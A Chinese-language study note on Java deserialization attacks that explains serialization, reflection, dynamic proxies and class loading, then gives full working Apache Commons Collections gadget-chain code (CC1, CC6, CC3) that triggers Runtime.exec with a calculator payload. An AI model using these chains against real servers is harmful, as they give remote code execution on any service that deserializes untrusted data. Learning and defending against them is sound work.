Java反序列化的一些整理
序列化与反序列化
序列化:将对象的状态保存到存储介质中通过网络传输
反序列化:从存储介质或网络接收的数据重建对象
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
为什么Java反序列化会产生安全问题
只要服务端反序列化数据,客户端传递类的readObject代码就会自动执行,给予攻击者在服务器上运行代码的能力。
构建反序列化攻击路线
入口类source:重写readObject 调用常见的函
调用链 gadget chain :相同名称,相同类型
执行类sink:(rce ssrf文件等等)最重要比如exec这种函数
Java反射
指的是一种动态获取信息以及动态调用对象方法的反射机制
Class clazz = Class.forName("reflection.Student");//获取class对象
Method method = clazz.getMethod("doHomework", String.class);//调用类方法
Constructor constructor = clazz.getConstructor();
Object object = constructor.newInstance();//实例化对象,无参构造
method.invoke(object, "语文");
反射的命令执行代码
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class InvokeTransformerTest {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method method = c.getDeclaredMethod("exec", String.class);
method.setAccessible(true);
method.invoke(runtime, "calc");
}
}
java的反射机制在反序列化中经常被用于动态修改对象属性来绕过一些条件限制
JDK动态代理
动态代理是一种在运行时动态创建代理类和代理对象的技术。它允许你在不修改原始类代码的情况下,为对象添加额外的功能。
接口类
public interface IRentHouse {
public void add();
public void delete();
public void update();
public void query();
}
实体实现类
public class RentHouse implements IRentHouse {
@Override
public void add() {
System.out.println("增加了一个用户");
}
@Override
public void delete() {
System.out.println("删除了一个用户");
}
@Override
public void update() {
System.out.println("更新了一个用户");
}
@Override
public void query() {
System.out.println("查询了一个用户");
}
}
代理实现类
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class IntermediaryProxy implements InvocationHandler {
IRentHouse rentHouse;
public void setIntermediaryProxy(IRentHouse iRentHouse) {
this.rentHouse = iRentHouse;
}
// 动态生成代理类实例
public Object getProxy(){
Object obj = Proxy.newProxyInstance(this.getClass().getClassLoader(), rentHouse.getClass().getInterfaces(), this);
return obj;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
log(method);
System.out.println("调用了"+method.getName());
Object obj=method.invoke(rentHouse,args);
return obj;
}
//业务自定义需求
public void log(Method method){
System.out.println("[Info] " + method.getName() + "方法被调用");
}
}
启动器
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class Renttext {
public static void main(String[] args){
RentHouse rentHouse = new RentHouse();
IntermediaryProxy intermediaryProxy=new IntermediaryProxy();
intermediaryProxy.setIntermediaryProxy((IRentHouse) rentHouse);
IRentHouse proxy=(IRentHouse) intermediaryProxy.getProxy();
proxy.add();
proxy.delete();
proxy.query();
proxy.update();
}
}
核心代码:Proxy.newProxyInstance() 参数详解,创建代理对象
public static Object newProxyInstance(
ClassLoader loader, // 1. 类加载器
Class<?>[] interfaces, // 2. 接口数组
InvocationHandler h // 3. 调用处理器
)
类的动态加载
类加载器的主要作用时动态加载Java类的字节码到JVM中(在内存中生成一个代表该类的Class对象)。
这里存在一个双亲委派机制,指的是ClassLoader实例会在试图亲自寻找类或资源之前,将搜索类或资源的任务委托给其父类加载。各种加载器之间的层次关系被称为类加载器的“双亲委派机制”
利用ClassLoader#loadClass加载字节码的流程。
示例弹计算器:
package org.example;
import java.net.URL;
import java.net.URLClassLoader;
public class FileRce {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader=new URLClassLoader
(new URL[]{new URL("file:///D:\\text\\codeqltext2\\untitled\\target\\classes\\org\\example\\")});
//Calc.class文件地址
Class calc =urlClassLoader.loadClass("org.example.Calc");
calc.newInstance();
}
}
CC链
CC1链
TransformMap版本
public class InvokeTransformerTest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
LazyMap版本
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//a.transform(runtime);
HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put("key","value");
Map lazydecorateMap= LazyMap.decorate(hashMap,chainedTransformer);
Class lazyMapClass= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = lazyMapClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazydecorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
CC6链
public class CC6 {
public static void main(String[] args)throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
//HashMap<Object,Object> map2 = new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
//map2.put(tiedMapEntry,"bbb");
map.remove("aaa");
Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);
//serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
CC3链
package org.example;
import com.sun.javafx.collections.MappingChange;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
//ClassLoader.defineClass,这里要defineClass一个恶意类(首先明确一个条件,第一次实例化的时候就会触发类加载,所以在后面的进程中需要触发实例化)
//(defalut)TemplatesImpl.TransletClassLoader中的defineClass方法调用了defineClass,
//查找此类中谁调用了defineClass,找到此类中的private方法的defineTransletClasses(),存在loader.defineClass(_bytecodes[i]);
//由于defineTransletClasses()私有,还要在同类中找可以调用它的getTransletInstance(此处要解决两个条件判断)
//由于getTransletInstance私有,继续找到调用它的newTransformer方法,这次终于是公有的了。
public class CC3 {
public static void main(String[] args)throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class<TemplatesImpl> c=TemplatesImpl.class;
Field bytecodes=c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[]eval=Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
byte[][]code={eval};
bytecodes.set(templates,code);//反射传入恶意类
Field name=c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");//反射传入_name,绕过if
Field tfactory=c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());//这个值为null会抛出错误让恶意链无法完整被执行
//templates.newTransformer();
Transformer[] transformers={
new ConstantTransformer(TrAXFilter.class),
//new InvokerTransformer("newTransformer",null,null)
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//chainedTransformer.transform(1);//这里依次调用transformers中的transform方法
//第一步返回 TemplatesImpl 实例,第二步templates.newTransformer();
HashMap<Object,Object>hashMap=new HashMap<>();
hashMap.put("key","value");
Map lazyMap=LazyMap.decorate(hashMap,chainedTransformer);
Class LazyMapclass=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=LazyMapclass.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler) constructor.newInstance(Override.class,lazyMap);
Map MapProxy=(Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
invocationHandler=(InvocationHandler) constructor.newInstance(Override.class,MapProxy);
serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
License:
CC BY 4.0